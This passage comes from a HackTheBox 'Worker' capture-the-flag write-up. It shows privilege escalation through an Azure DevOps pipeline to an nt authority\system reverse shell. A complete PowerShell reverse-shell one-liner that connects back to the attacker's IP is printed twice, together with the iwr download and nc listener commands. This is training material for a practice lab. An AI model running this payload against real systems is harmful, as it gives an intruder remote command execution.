*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt
51XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Now in order to continue we need to login as the robisl user onto the Azure DevOps git page (make sure to go to http://devops.worker.htb/, the ROOT of the subbdomain, and not the other repository we were on previously):
And then we see that we have access to a new repository called PartsUnlimited:
So the difference here is that first of all there are no pipelines:
However the robisl user is able to create a new pipeline, and therefore we should be able to use this new pipeline to execute a reverse shell as nt authority/system, so let's create that pipeline:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ mv Invoke-PowerShellTcpOneLine.ps1 shell.ps1
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ python3 -m http.server 9090
[terminal 2]
[ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker]
→ nc -lvnp 9001
listening on [any] 9001 ...
[terminal 3]
*Evil-WinRM* PS C:\Users\robisl\Desktop> cd C:\temp
*Evil-WinRM* PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/27/2021 4:25 PM 59392 nc.exe
*Evil-WinRM* PS C:\temp> iwr -uri http://10.10.14.11:9090/shell.ps1 -O shell.ps1
*Evil-WinRM* PS C:\temp> type shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Now that the powershell script is in place as well as the reverse shell netcat listener on port 9001, let's run it:
Click save and queue:
And now we know that our script has been successfully executed:
[ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.203] 51960
PS W:\agents\agent11\_work\9\s> whoami
nt authority\system
And we got a reverse shell connection as nt authority\system! Now let's get the root flag (also do it quickly because the reverse shell dies after 1 minute):
PS W:\agents\agent11\_work\9\s> cd C:\users\administrator\desktop
PS C:\users\administrator\desktop> type root.txt
43XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Here we can see the progress graph :
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)